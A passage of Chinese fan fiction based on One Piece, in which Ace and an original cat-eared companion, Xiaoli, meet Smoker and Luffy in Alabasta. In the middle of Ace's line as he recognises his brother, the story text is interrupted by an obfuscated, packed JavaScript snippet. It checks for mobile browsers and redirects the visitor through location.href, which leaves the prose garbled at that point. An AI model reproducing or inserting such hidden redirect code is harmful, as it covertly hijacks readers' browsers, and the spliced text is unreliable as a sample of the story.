她轻呼,反手去拍他作乱的手。两人在颠簸的小艇里闹作一团,笑声和着海浪声,冲散了那点微不足道的“逃单”阴霾。最后,小黑猫被艾斯一把捞起,顺势扣在了自己头上那顶橙色的牛仔帽下。 帽子对她现在的体型来说有点大,带着艾斯体温和阳光味道的内衬将她整个笼罩。小狸挣扎了两下,才从帽檐下艰难地钻出脑袋,毛被蹭得炸起来,配着她那双因为打闹而越发水润明亮的蓝眼睛,看起来有点傻气,又可爱得让人心软。 她爪子扒着帽檐,透过艾斯黑色的发丝看向前方一望无际的蔚蓝,声音闷闷地从帽子下传来,带着点闹够了的慵懒和自然而然的依赖: “接下来我们要去哪里呀?” 艾斯扶了扶帽子,确保她不会掉下去,目光投向海平线,那里仿佛有热浪在蒸腾。他嘴角勾起一个笃定而期待的弧度,声音被海风送进她耳朵: “阿拉巴斯坦。” --- 阿拉巴斯坦,油菜花港口。 热浪,如同实体般轰然拍打在脸上,瞬间吸走了皮肤上每一丝湿润。干燥、灼热的风卷起肉眼可见的淡金色沙粒,吹过街道,发出“沙沙”的轻响,仿佛大地也在喘息。空气在高温下扭曲变形,远处的景物如同浸在水中晃荡。巨大的仙人掌球像沉默的卫兵矗立在路边,身上尖刺在烈日下闪着危险的光。富有异域风情的土黄色建筑连绵起伏,拱门和窗棂投下短短一截深邃的阴影,那是这片灼热土地上唯一吝啬的恩赐。 “黄金苹果!看一眼就能带来好运!吃一口就能活一千年的梦幻黄金苹果啊!这位小哥,面生得很,第一次来阿拉巴斯坦吧?怎么样,带一个走吧?保准你不虚此行!” 一个摊主举着个金灿灿、看起来饱满到有点假的苹果,热情地拦住了一个头戴橙色牛仔帽的黑发青年。 青年——艾斯——闻言,先是愣了一下,随即仰头大笑起来,笑声爽朗,仿佛能驱散一些四周凝滞的热气。他抬手随意地抹了下额角瞬间沁出的汗珠,目光掠过摊主,望向这片广袤、干旱、充满了生命韧性的土地,语气里是一种浸透骨髓的洒脱与坚定: “活一千年?哈哈,不好意思啊大叔,我对那个可没兴趣。” 他拍了拍自己的胸膛,那里仿佛有心跳与这片土地的脉搏共振,“只要能踏踏实实、自由自在地过好每一个‘今天’,我就心满意足啦!” “艾斯……” 一个有气无力、仿佛被晒化了的声音从他身侧传来。穿着橙色短款露脐背心和黑短裤的少女,正用手徒劳地对着脸颊扇风。那点微弱的气流连她汗湿的鬓发都吹不动。额前几缕刘海被汗水浸透,变成更深的黑色,粘在光洁的额角和泛红的脸颊边,痒痒的。最引人注目的是她发间那双黑色猫耳,完全失去了平日的灵动,无精打采地耷拉着,耳尖的绒毛都显得蔫蔫的;身后那条从特制短裤洞口垂下的黑色长尾巴,也不再优雅地摆动,而是像条脱力的绳子,偶尔才极其缓慢地、象征性地晃一下尾尖。 “这里好热啊……” 她蓝色的猫瞳都有些失焦,望着艾斯,里面写满了真实的痛苦,“我感觉……我的毛都要被烤得卷起来。” 她甚至伸出粉色的舌尖,极快地舔了下有些干裂的下唇,随即被粗糙的沙粒感逼得皱起了眉。 艾斯低头看她,眼中的笑意从方才的洒脱悄然转换,晕染上一层更柔和的、心照不宣的温柔。 “忍一忍,很快找个凉快的地方。” 他声音放低了些,很自然地伸出手,掌心覆上她被阳光晒得明显发烫的头顶。掌心传来的温度甚至比她的头皮温度还高些,但那动作本身带着抚慰的魔力。他揉了揉她微湿的发丝,指尖不经意拂过她耷拉的猫耳根部。 小狸下意识地缩了缩脖子,耳朵抖动了一下,却并非躲开,反而像寻求更多凉意般,耳朵无意识地在他温热的掌心蹭了蹭,然后抬起头。四目相对,她蓝色的眼眸里映着艾斯带着笑意的黑眸,那里有对她抱怨的理解,有对这片土地的坦然,还有他们之间无需多言的默契。她皱起的鼻子慢慢松开,嘴角也努力向上弯了弯,回给他一个虽然被热浪打折了力度、却依然灿烂且全然信赖的笑容。 两人继续随着人流前行。 艾斯走向另一个小摊的摊主。他脸上挂着爽朗的笑容开始比划着描述:“请问,你们有没有在这一带,见过一个戴着草帽、橡胶一样、总是吵吵闹闹的笨蛋小子?” 他边说,脑海里边浮现出路飞那张傻笑的脸,笑容里不自觉地带上了兄长特有的、混杂着无限头疼与骄傲的期待。 就在艾斯专注打听消息的时候,原本蹲在路边一处石砌屋顶狭窄阴影下、试图汲取一点凉意的小狸,浑身的毛发忽然几不可察地微微立起——那是动物本能的警觉。一道视线,平静、锐利,带着刀锋般的审视感,短暂地落在了艾斯的背影上。 她猛地转头,蓝色的瞳孔在阴影中收缩,精准地锁定了视线来源:不远处一个背阴的街角,一个绿色短发、左臂绑着深绿色头巾、腰间赫然佩着三把刀的男人,正背靠着土墙。男人似乎并未刻意隐藏,只是抱着臂,目光若有所思地扫过艾斯,尤其是他背上那个醒目的白胡子海贼团刺青,以及他举手投足间不经意流露出的强大气场。那眼神里没有明显的杀意或贪婪,更像是一种评估,一种确认,带着特有的谨慎和距离感。 小狸的眉头蹙了起来,本能让她对任何长时间停留在艾斯身上的、不带善意的目光都感到不快。她微微眯起眼,尾巴尖轻轻敲打了一下身下的瓦片。但对方似乎只是确认了什么,很快便收回了目光,重新垂下眼帘,仿佛对一切失去了兴趣,继续沉浸在自己的世界里。小狸歪了歪头,耳朵转动了一下,确认那道视线没有再出现。想不明白,索性甩甩头,将这点小插曲抛在脑后,重新将注意力放回街上的热闹——毕竟,那人看起来不像敌人,而艾斯哥哥,也不是谁都能轻易打主意的。 得知前面一家颇有口碑的餐馆,很可能有关于“草帽小子”的新鲜消息,艾斯心情大好,肚子也恰合时宜地咕噜起来,决定去饱餐一顿,顺便碰碰运气。小狸则被路边摊贩那些色彩斑斓、镶嵌着仿沙漠宝石的凉鞋、轻薄透气的纱丽,以及挂着冰珠、散发着诱人果香的“沙漠特饮”彻底吸引了。艾斯站在一边,等小猫心满意足的买好东西后两人才晃晃悠悠的往餐馆走,接过小狸递来的冷饮,艾斯开始期待一会要吃些什么,这次小猫在身边,可以安静的吃顿饭了吧 --- 阿拉巴斯坦的餐馆门口,出乎意料地聚集了一小圈人,交头接耳,气氛微妙。 “听说了吗?里面有个客人,吃着吃着……突然死了!” “真的假的?太吓人了!” “好像是个外来的旅行者……大家都在猜,是不是不小心误食了‘沙漠草莓’?” “那种藏在沙地里、颜色鲜艳却有剧毒的小蜘蛛?天哪,真是不小心……” 餐馆内,时间仿佛凝固了。一个黑发青年脸朝下,整张脸埋进面前吃得干干净净的空盘子里,右手还保持着握叉的姿势,悬在半空,一动不动。呼吸……似乎完全停止了。 女侍者颤抖着手指,小心翼翼地、用尽毕生勇气戳了戳他的肩膀。“客、客人?您……没事吧?” 声音细若蚊蚋。 就在这时,“尸体”猛地动了一下,抬起了头。脸上还沾着一点酱汁和饭粒,眼神是全然放空的迷茫。他眨了眨眼,长长的睫毛上甚至挂着一小颗亮晶晶的……油星? “没、没事吧?” 女侍者吓得后退半步,心脏狂跳。 小狸坐在一边装作不认识他,认真的吃着自己的东西,艾斯似乎这才注意到周围诡异的气氛和面前询问的侍者。他眼神依旧迷茫,却下意识地伸出手,极其自然地拉起女侍者洁白的围裙一角,擦了擦自己的脸,动作流畅得仿佛演练过千百遍。 “呀啊——!!!” 短暂的死寂后,是女侍者突破天际的尖叫,转身逃也似的冲回了后厨。 艾斯挠了挠他那头总是翘起几根不服帖发丝的黑发,脸上写满了纯然的困惑:“真伤脑筋啊……不小心睡着了。” “睡着了——!!!!!?” 身后的围观群众终于从石化状态解除,异口同声地发出了震耳欲聋的吐槽。“怎么会有人在吃饭聊天、甚至食物刚吃完的时候突然睡着啊?!而且脸还埋在盘子里!刚才完全没呼吸了吧?!绝对是死了吧?!” 艾斯环顾四周,看着一张张写满惊愕和荒谬的脸,更加不解了,他转向脸色铁青的餐馆老板:“所以到底在喧闹什么啊?老板,他们是你请来表演街头戏剧的吗?” 语气真诚得让人无力。 “大家是因为担心你才这么喧闹的啊!!!” 群众再次集体怒吼。 得知只是虚惊一场,人群带着一脸“活久见”的表情渐渐散开。艾斯松了口气,完全没把刚才的插曲放在心上,从随身的背包里掏出一张皱巴巴、却仔细抚平过的悬赏令——上面是路飞那张咧着嘴大笑、毫无危机感的脸。 “对了老板,” 他把悬赏令推到柜台前,“你有没有见过这个……” 话音未落。 “你胆子还真大啊。” 一个低沉、略带沙哑,混合着烟草味道的男声从门口传来,像一块冰投入略显油腻的热空气中。“光明正大地在这种大众餐馆里露面……白胡子海贼团第二队队长,波特卡斯·D·艾斯。” 餐馆老板倒吸一口凉气,手里的杯子差点滑落:“白、白胡子海贼团?!那个……那个睡觉像死了一样的呆小哥?!” 在一片死寂和骤然聚焦的惊惧目光中,艾斯缓缓转过身。一个穿着海军制服、背后披着“正义”大衣、嘴里叼着两根雪茄的男人站在那里,白色短发根根竖起,眼神如鹰隼。海军本部上校,“烟鬼”斯摩格。 艾斯脸上的轻松神色并未褪去,只是眼底的笑意沉淀下来。他放下水杯,玻璃与木质柜台碰撞发出轻微的“咔”声,在落针可闻的餐馆里格外清晰。他扬起一个毫无阴霾、甚至带着点挑衅的笑容: “我在找人,找我弟弟。” 斯摩格向前走了两步,厚重的军靴踏在地板上,带来无形的压迫感。他站在门口,艾斯坐在吧凳上,两人一高一低,目光在空中交汇,却奇异地形成了一种势均力敌的对峙气场。 艾斯歪了歪头,语气轻松得像在讨论天气:“那么,我该怎么做?” 斯摩格从鼻子里喷出两道烟雾:“当然是乖乖被抓。” “我拒绝。” 艾斯回答得干脆利落,没有丝毫犹豫,“这一点,无论如何也做不到。” “嘛,也是啊。” 斯摩格似乎并不意外,叹了口气,烟雾缭绕着他冷硬的脸部线条,“老实说,我现在在追捕另一个棘手的海贼,对你的脑袋……兴趣不大。” “那你就放我一马好了。” 艾斯顺杆往上爬,语气甚至带了点调侃。 斯摩格的眼神陡然锐利,他抬起右手,手臂瞬间分解、膨胀,化作翻涌的乳白色浓烟,充满了威慑力。“这可不行啊。” 他声音低沉,“我是海军,而你是海贼——这就够了。” “真是……无聊透顶的理由。” 艾斯嘴角的弧度拉平了些,眼神却亮了起来,像有火星在其中酝酿。他缓缓从吧凳上站起,舒展了一下肩背,周身空气开始微微升温、扭曲。“那么,看来只能……好好‘玩一玩’了。” 紧绷的气氛如同拉满的弓弦,自然系能力那令人窒息的压迫感开始弥漫。餐馆里的其他人早已连滚爬爬地躲到了最远的角落,瑟瑟发抖。 就在这千钧一发之际—— “橡胶橡胶——火箭!!!” 一声熟悉的、充满活力的、完全不合时宜的大喊,由远及近,速度快得惊人!餐馆的墙壁“轰隆”一声被撞开一个大洞,一道黄色的身影如同失控的炮弹,以迅雷不及掩耳之势冲了进来,在所有人都没反应过来的瞬间,结结实实地撞在了两人身上! “噗——!” “呃啊!” 烟尘弥漫,碎木纷飞。艾斯和斯摩格就像被保龄球击中的球瓶,毫无形象地被一起撞飞出去,接连砸穿了好几面餐馆的墙壁,在一片狼藉的废墟里才勉强停下。 小狸瞪大了眼睛,一脸震惊的看向突然来到她身边的肇事者——头戴草帽的橡胶少年——正稳稳地、大喇喇地坐在了吧台前的高脚凳上,拍了拍肚子,对着目瞪口呆、灵魂出窍般的老板大声催促:“大叔!我饿死了!有什么好吃的统统拿上来!肉!我要很多很多的肉!” 废墟里,艾斯灰头土脸地爬起来,甩了甩头上的灰尘和木屑,额角爆出一个小小的十字青筋:“可恶!到底是哪个混蛋啊!真是的!到底想干嘛啊!把这里搞成这样!” 他一边抱怨,一边往回走。路过一张被掀翻了一半、但桌上的食物奇迹般幸存下来的桌子时,看到那对状况外的食客夫妇,艾斯愣了一下,随即条件反射般停下脚步,弯下腰,语气诚恳地道歉:“啊,抱歉,打扰你们用餐了。” 态度自然得仿佛刚才被撞飞的不是他。 另一边,斯摩格也阴沉着脸从瓦砾中站起,拍了拍大衣上的尘土,重新点燃了嘴里不知何时熄灭的雪茄,眼神危险地锁定了吧台前那个已经开始狼吞虎咽的草帽小子。 艾斯继续朝餐馆破洞走去,火气随着靠近那个熟悉的背影而升级:“到底是谁啊!这个把这里搞得乱七八糟的笨……” 声音,戛然而止。 他的目光,穿透弥漫的烟尘,牢牢锁定了那个坐在吧台前、正抓起一整块带骨肉排猛啃的背影——那顶草帽,那件红色马甲,那饿死鬼投胎般的吃相…… 艾斯的眼睛一点点瞪大,嘴巴微张,脸上的怒气如同阳光下的冰雪般瞬间消融,取而代之的是一种难以置信的狂喜,他几乎要脱口而出: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941750|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!路……” “草帽小子——!!!” 斯摩格的怒吼比他更快。这位海军上校的目标始终明确,他瞬间元素化,化作一道疾冲的白烟,直扑路飞!巨大的烟雾拳头狠狠砸向刚要喊出弟弟名字的艾斯! “砰!” 艾斯猝不及防,被蕴含着海楼石成分的十手末端狠狠砸中后脑,整个人再次被摁倒在地,脸颊紧贴着温热粗糙的地砖。 “啧!” 艾斯啐了一口,迅速翻身而起,而斯摩格已经化作烟雾,疾速追着察觉到危险、叼着肉块就开始逃跑的路飞冲出了餐馆。 “喂!路飞!给我等等啊!路飞——!!!” 艾斯再也顾不得其他,焦急地大喊着,拔腿就追,身影快如一道赤色的闪电。 刚刚反应过来发生了什么的店主开始尖叫“逃……逃单啊——” “不好意思!我会付钱的!!” 小狸连忙快速的把盘子里的东西塞进嘴里,对于物价也不清楚的她只能匆忙的从小包里掏出几枚金币,在店主震惊和赚到了的眼神里追了出去 “真是的!等等我呀,艾斯!” 艾斯循着打斗和喧闹声赶到主街,心脏因为即将重逢的激动和眼前危急的局势而狂跳。只见他那让人操碎心的笨蛋弟弟路飞,正被海军上校斯摩格释放出的、如同有生命般的乳白色烟龙紧紧追逐,那烟雾灵活狡诈,几次差点缠上路飞的脚踝。路飞虽然依靠橡胶果实的弹跳力狼狈闪避,但显然落于下风,险象环生! “真是的……” 艾斯无奈地叹了口气,那叹息里却饱含着“果然如此”的认命和纵容。他眼神一凛,所有情绪沉淀为纯粹的行动力。身体微微前倾,右拳后收,炽热的橙红色火焰瞬间缠绕而上,压缩、凝聚,发出低沉的嗡鸣。 “阳炎——!” 毫不迟疑,一拳轰出!炽烈的火焰巨拳如同小型太阳,撕裂空气,带着焚尽一切的气势,精准地轰向斯摩格后心!斯摩格察觉背后致命的灼热,不得不放弃对路飞的追击,瞬间将身体烟雾化分散,火焰巨拳擦着他分散的烟雾边缘掠过,轰在远处的沙地上,炸起一团巨大的燃烧沙暴,热浪逼得周围的海军纷纷后退。 路飞趁着这间隙连跳几下拉开距离,然后整个人像被按了暂停键,呆呆地转过头,看着那个突然出现、挡在他与海军之间,浑身还散发着未熄火焰和熟悉气息的高大背影。 他的嘴巴张成了“O”型,手里的肉块吧嗒掉在地上。 “艾…艾斯?” 声音里充满了梦幻般的难以置信。 艾斯缓缓转过身,火焰在他转身时带起流光的尾迹。他看着弟弟那张写满震惊和傻气的脸,脸上紧绷的线条瞬间软化,眼底的笑意如同春日解冻的溪流,汩汩涌出,那是一种毫无保留的、纯粹到耀眼的宠溺和喜悦。 “你一点都没变啊,路飞。” 他的声音带着笑,轻松得仿佛他们只是昨日才分开,“这样的话连话都说不上。” 他侧过头,用眼神示意了一下路飞身后不远处汇合、满脸担忧的薇薇和跑得气喘吁吁的乌索普等人,“你和你的同伴们先走。” 他重新面向斯摩格和聚集起来的数十名海军,微微活动了一下手腕,指关节发出清脆的响声,周身火焰“轰”地一下升腾得更高,温度骤升,脚下的沙地开始出现熔化的迹象。他的语气轻松却带着不容置疑的斩钉截铁: “我一会就去追你们。” 回头,对路飞露出一个“放心交给我”的、兄长特有的可靠笑容 以斯摩格为首的海军被艾斯一人散发出的磅礴气势与炽热领域牢牢拦住。斯摩格抱着双臂,叼着的雪茄烟雾在他冷峻的脸庞前缭绕,他眯起眼,打量着这个突然介入的强敌,语气沉凝: “我想不明白,艾斯。你为什么要帮草帽小子?” 白胡子海贼团的第二队长,为何要插手一个东海新人海贼的麻烦? 艾斯只是轻轻笑了笑,那笑容在跳跃的火光映衬下,有种漫不经心的洒脱,却又蕴含着某种至深的温柔。他拍了拍自己胸膛,那里刻着代表荣耀与归属的刺青,也跳动着兄长的心。 “哈,这有什么难懂的?” 他语气理所当然,仿佛在陈述太阳从东边升起般的真理,“要是有个特别调皮、总是惹祸、让人放心不下的弟弟……” 他顿了顿,目光越过严阵以待的海军,仿佛能看见那个跑远的草帽背影,声音里带着无奈,更带着纵容: “当哥哥的,当然会格外担心啊。” 斯摩格瞳孔微缩:“什么弟弟?也就是说……” 艾斯不再多言,他身上燃起的火焰更加炽烈、凝实。他微微压低重心,摆出了战斗的姿态,周围的空气因为高温而发出噼啪的细微爆响。 “滚开,‘火拳’艾斯……” 斯摩格脸色彻底凝重,身体再次元素化,浓白的烟雾汹涌翻滚,与对面的烈焰分庭抗礼。 “那可不行。” 艾斯的声音透过火焰传来,清晰而坚定 “没想到……你居然是那个草帽小子的兄弟。” 斯摩格吐出一口烟圈,眼神锐利如刀。 “现在知道也不晚。” 艾斯笑道,随即眼神一厉,“炎戒!” 轰——!滔天火焰从他周身喷薄而出,并非攻击,而是迅速蔓延、连接,眨眼间在他与海军之间竖起了一道高达数米、厚实无比、熊熊燃烧的火焰墙壁!灼热的气浪向外席卷,逼迫得海军们连连后退,根本无法穿越。 火焰之壁猎猎燃烧,隔开了两个世界。墙壁这边,是严阵以待的海军和化作烟雾的斯摩格;墙壁那边,是独自一人却仿佛能点燃整片沙漠的艾斯。 自然系顶尖能力者的对决,一触即发!炽热与窒息的威压,让整条街道都为之战栗。 而另一边,终于摆脱追击、与同伴汇合的路飞,面对薇薇“刚才那个人是谁?他为什么帮我们?”的急切询问,却咧开了一个前所未有的、灿烂到傻气的笑容,那笑容里充满了纯粹的快乐和自豪,眼睛亮得像藏进了星星。 他用力握紧拳头,声音响亮地宣布,每个字都蹦跳着喜悦: “那家伙——” “是我的哥哥啊!!!” --- 而就在不远处,一栋土黄色建筑二楼的露台阴影深处,谁也没有注意到,一道纤细的身影仿佛融入了砖石的纹理,悄无声息地蹲踞在那里,与阴影浑然一体。 小狸不知何时已经赶到,悄无声息地占据了这处绝佳的观察点。她橙色的短背心在阴影下泛着暗哑的光泽。她微微弓着背,是一个猫科动物准备伏击或随时弹起的姿态,那双蓝色的猫瞳此刻在昏暗处亮得惊人,紧紧锁定下方对峙的两人,尤其是那个身体不断化为诡异白烟的海军上校。她的眼神里充满了高度警惕,肌肉紧绷,指尖无意识地抠着粗糙的砖石表面,尾巴紧紧贴服着身体,尾尖极轻微地、高频地颤动着,泄露着内心的紧张和一种……本能的、被强者对决激起的跃跃欲试。 不要轻举妄动。观察。判断。在确定局势、找到最合适的切入时机之前,保护好自己,就是对他最大的帮助。乔兹师傅低沉浑厚的教导在她脑海中回响,伴随着他演示时,钻石身躯移动带来的、令人安心的沉重风声。 小狸屏住呼吸,连耳朵都向后压平,最大限度地减少自身的存在感。她仔细评估着:那个海军,很强,非常强。自然系,元素化,还有那种久经战阵的冷厉气势。这不是她能正面插手的战斗,盲目冲上去只会成为艾斯的累赘。 但是……她其实也不怎么担心。因为她看到了,火焰墙壁升起时,总能精准感知到她的位置艾斯侧过头,朝着她极其快速、几乎难以察觉地眨了一下眼,嘴角勾起一个转瞬即逝的、让她安心的弧度。 那是他们之间的小小暗号:“我没事,看我的。” 更因为,她看到他那张在冲天火光映照下,依旧游刃有余、甚至带着点兴奋和畅快的笑脸。那笑容里没有丝毫凝重或勉强,只有面对强敌时燃烧的战意,和对自己力量的绝对自信。 紧绷的戒备慢慢转化为一种专注的守护姿态。小狸轻轻呼出一口气,身体不再那么僵硬,尾巴也舒缓地垂落下来,只是尾尖依旧保持着警惕的微晃。 因为—— 她蓝色的瞳孔里,清晰地倒映着那堵分割战场、象征着绝对力量的烈焰之墙,以及墙前那个仿佛火焰化身的挺拔背影。 我哥哥,可是很强的啊。 无声地,她化作一道几乎没有重量的黑色影子,从露台边缘轻盈跃下,如同一片被热风卷落的树叶,悄无声息地落向下方街道的阴影处,开始向着艾斯的方向,谨慎而灵巧地靠拢过去。 24. 我弟弟多谢你们关照了 爆炸的余波在狭窄的街道上回荡,灼热的气浪与浓密的烟尘交织成一幅混沌的画面。艾斯轰出的“火拳”与斯摩格释放的“白蔓”在空中激烈碰撞,橙红的火焰与乳白的烟雾互相撕咬、吞噬,发出“嗤嗤”的沸腾声响,仿佛两头远古巨兽在沙漠中咆哮。 热风卷起沙砾,打在两侧土黄色的墙壁上噼啪作响。视线被彻底遮蔽的瞬间,艾斯嘴角勾起一抹计划得逞的弧度。 “就是现在!” 他的声音压得很低,却带着清晰的指令意味。几乎在他话音落下的同时——烟尘最浓密的一角,一道娇小的身影如同没有重量的影子般融入其中,几个轻盈得近乎无声的跳跃,精准地落在了艾斯身侧。是小狸。她的身影在烟尘中若隐若现,蓝色的猫瞳在昏暗的光线下闪烁着冷静而专注的光,耳朵机警地转动着,捕捉着周围一切声响——海军杂乱的脚步声、斯摩格驱散烟雾的呼啸、远处人群惊慌的叫喊。 艾斯没有回头,只是极其自然地向后伸出手。小狸纤细的手指立刻递了上来,掌心微凉,带着一点紧张的薄汗,却毫不犹豫地握紧了他温热粗糙的手掌。 烟尘尚未散去,两人已化作两道模糊的影子,倏地钻入旁边一条更为狭窄、堆满杂物的巷道。 他们在迷宫般的巷道中穿梭,左拐右绕,将身后的喧嚣与灼热远远甩开。直到确认没有任何追踪的气息,艾斯的速度才稍稍放缓。小狸也跟着调整呼吸,胸腔因为短暂的剧烈运动而微微起伏,脸颊泛着运动后的健康红晕,她抬手擦了擦额角渗出的细汗,耳朵却依旧警惕地支棱着。 忽然,走在前面的艾斯脚步一顿,脸上露出一种混合着无奈、好笑和“果然如此”的复杂表情。那表情让小狸也好奇地探出头,顺着他的目光看去—— 前方巷道的十字路口,一个头戴草帽、穿着红色马甲的少年正一脸茫然地站在原地。他挠着后脑勺,草帽被挠得歪向一边,浓黑的眉毛纠结地拧着,眼睛左看右看,嘴里还念念有词: “嗯……奇怪……刚刚明明是从这边跑过来的……梅利号是在这边吗?还是那边?啊,会不会是那边有肉香味的方向?” 那副完全迷路却又理直气壮的模样,让紧绷的气氛瞬间消散了大半。 “路飞!” 艾斯喊了一声,声音里带着无法掩饰的笑意和久别重逢的温暖。他牵着小狸,大步走了过去。 “艾斯!” 草帽少年——蒙奇·D·路飞——听到声音猛地转头,看到艾斯的瞬间,眼睛“唰”地亮了起来,像是瞬间注满了阳光。他脸上那点迷茫瞬间被纯粹的、毫无保留的狂喜取代,整个人像颗橡胶炮弹般“咻”地弹射过来,张开双臂,结结实实地、用足以勒断普通人肋骨的力气抱住了艾斯! “艾斯!你没事啊!再见到你真是太好了!!!” 路飞的声音响亮又雀跃,脑袋在艾斯胸口蹭了蹭,草帽的边檐戳到了艾斯的下巴。 艾斯被他撞得微微后退了半步,却大笑着反手用力回抱了一下弟弟,另一只手习惯性地用力揉了揉路飞那头和自己一样不服帖的黑发,把草帽揉得更歪了。 “你这笨蛋,”艾斯的语气是熟悉的头疼和纵容,“又迷路了吗?” 他松开怀抱,屈起手指,不轻不重地敲了一下路飞的额头。 “嘻嘻,好像是的。”路飞毫不在意地摸了摸被敲的地方,笑得没心没肺,仿佛迷路是再正常不过的事情。然后,他的目光——那双如同最纯净琥珀般、总是盛满直白好奇的眼睛——猛地定格在了艾斯身旁的小狸身上。 确切地说,是定格在她发间那双因为紧张和好奇而微微抖动的、毛茸茸的黑色猫耳上。 “呜哇——!!!” 路飞的嘴巴张成了完美的圆形,眼睛瞪得滚圆,里面瞬间迸发出堪比探照灯的光芒,整个人仿佛被按下了兴奋开关,蹦到地上猛地凑近,脸几乎要贴到小狸面前。 “好厉害!!!尖耳朵!!是真的耳朵!!还会动!!!” 他的惊叹声毫无遮掩,充满了孩子发现新玩具般的纯粹惊奇。过于直接和炽热的目光让小狸有些不自在,她下意识地往后缩了缩,白皙的脸颊泛起一丝被注视的薄红,抬起双手捂住了自己敏感的耳朵,蓝色的猫瞳微微垂下,避开了路飞那几乎能实体化的好奇视线。 “你、你好,路飞,”她小声开口,声音带着点初次见面的生涩和礼貌,“艾斯哥哥总是提起你。” 提到“艾斯哥哥”时,她的语气不自觉地变得柔软而依赖。 路飞闻言,立刻挺起胸膛,一手叉腰,另一手拇指骄傲地指向自己,咧开一个能看见后槽牙的、灿烂到晃眼的笑容:“嘿嘿嘿!那是当然!毕竟我可是艾斯最优秀、最厉害的弟弟啊!” 说完,他还故意做出一副“我很成熟稳重”的表情,用力拍了拍艾斯结实的肩膀,语气老气横秋: “艾斯这家伙,在外面肯定很不靠谱,给你添了不少麻烦吧?辛苦你啦!” 那副明明自己才是最让人操心的那个、却偏要摆出兄长架势的模样。 “你小子说谁呢!” 艾斯额角蹦出一个十字青筋,毫不客气地一个暴栗敲在路飞脑袋上,发出“咚”的一声闷响。 “啊痛!” 路飞捂住头,却一点也不恼,反而顺势抓住了艾斯还没来得及收回的手腕,眼睛闪闪发亮,肘部抵在粗糙的木桶盖上,手掌紧紧握在一起。两个人突然默契十足的突兀的在木桶上掰起了手腕。手臂上的青筋瞬间绷起,木桶发出不堪重负的呻吟。 小狸完全在状况外,一脸迷茫的看着两个人人。 他们紧握的手掌微微颤抖着,指关节因为过度用力而发白。身下那只原本还算结实的旧木桶发出了令人牙酸的“嘎吱”呻吟,桶壁的木纹似乎在微微扭曲。 “哇!艾斯你还是这么大劲!”路飞龇牙咧嘴,橡胶手臂似乎都微微拉长了一点以增加力矩。 “你倒是比以前强了点嘛,橡胶笨蛋!”艾斯从牙缝里挤出回应,手臂稳如磐石。 “你才是笨蛋!”路飞不服气地大喊,试图用语言干扰,“睡觉流口水还打呼噜!超——级吵!” 艾斯的眉毛狠狠一跳:“你还好意思说我?你睡觉不仅流口水,还说梦话吵死了!‘肉……我要吃肉……’ ” “啊啊啊啊你才是!!”路飞咬牙切齿手臂上的力量又加重了几分。 “你还被蜜蜂蜇成猪头” “艾斯你混蛋!!!” 看着两个明明在进行着角力、却像三岁小孩一样互相揭短吵架的兄弟,一旁的小狸再也忍不住,抬手捂住嘴,“噗嗤”一声笑了出来。她身后那条黑色的长尾巴也不再紧绷,开始愉快地、小幅度地左右晃动,尾尖轻轻点着地面。 她很少看到艾斯这个样子——这么外放的、活泼的、甚至有点幼稚的样子。在莫比迪克号上,他是可靠的二番队队长,是家人们信赖的兄长和战友,虽然也爱笑爱闹,但总带着一份沉稳和队长的担当。而此刻,在路飞面前,他好像一下子变回了那个会和弟弟抢肉吃、打打闹闹、毫无顾忌的少年。这种鲜活又毫无保留的兄弟情谊,让她觉得新奇,更觉得……心里暖洋洋的,像是晒到了最和煦的阳光。 最终,还是艾斯更胜一筹。随着他一声低喝,手臂爆发出最后一股力量,稳稳地将路飞的手腕压向了木桶表面。 “砰!” 与此同时,那只早已不堪重负的旧木桶,也终于发出了最后的哀鸣,桶壁裂开几道缝隙,“哗啦”一声碎裂开来,里面的水洒了一地。 “可恶——!!!”路飞的手背被按在碎木片上,他鼓起了腮帮子,像只生气的小青蛙,但眼里却没有丝毫气馁,只有熊熊燃烧的斗志,“又输了!下次我一定会赢的!” “我等着哦。”艾斯大笑着松开手,活动了一下有些发酸的腕关节,然后叉着腰,笑容里满是胜利的得意和对弟弟的骄傲。 简单清理了一下身上的木屑和水渍,三人一同朝着港口的方向走去。夕阳开始西斜,将三人的影子拉得长长的。路飞走在中间,兴奋地手舞足蹈,讲着他航行以来的冒险,话语像蹦豆子一样又急又快: “然后啊,我们遇到了索隆!他超——级厉害!迷路比我还严重!哈哈哈!娜美超聪明,会画海图,但是生气的时候超可怕,拳头超硬!乌索普超会讲故事,狙击也很准,就是胆子有点小……山治做的饭是世界第一好吃!为了这个我都想一直待在船上!啊,还有乔巴!乔巴超——可爱!是一头驯鹿哦……” 艾斯微笑着听着,眼神温和,他接话道:“我吃了烧烧果实,也找到了我想要的归宿。”他顿了顿,声音里带着不容错辨的崇敬与坚定,“我加入了白胡子海贼团。” “白胡子?”路飞歪了歪头,对这个名字似乎有些印象,但又不太清晰。 “啊,”艾斯的眼神仿佛在瞬间被点燃,那是谈及信仰时才会有的光芒,“他是世界上最棒的男人!我想帮助他成为海贼王!” 这句话他说得斩钉截铁,仿佛这是宇宙间最自然的真理。 “我才要当海贼王呢!”路飞立刻不服气地插嘴,拳头握紧,眼睛瞪圆,仿佛护食的小兽。 “哈哈哈!”艾斯不以为意,反而大笑起来,笑声畅快。他伸手,很自然地搂过一直安静跟在身侧、听着他们对话的小狸的肩膀,将她轻轻带到路飞面前。这一刻,他脸上的笑容发生了变化,少了几分面对弟弟时的调侃和争强好胜,多了几分郑重其事和一种近乎柔软的温情。 “还有,路飞,”艾斯的声音放低了些,却清晰无比,“给你正式介绍一下。” 他低头看了眼小狸,小狸也恰好抬头看他,蓝色的眼眸里映着夕阳和他温柔的笑脸。 “这是小狸,我现在最重要的家人之一,”艾斯一字一句地说,每个字都像承诺般有重量,“也是我的妹妹。可以叫她小狸,她应该比你大一些吧?” 最后一句话带了些不确定的询问,看向小狸。 小狸轻轻点了点头,耳朵微红,对路飞礼貌地补充道:“你好,路飞。” 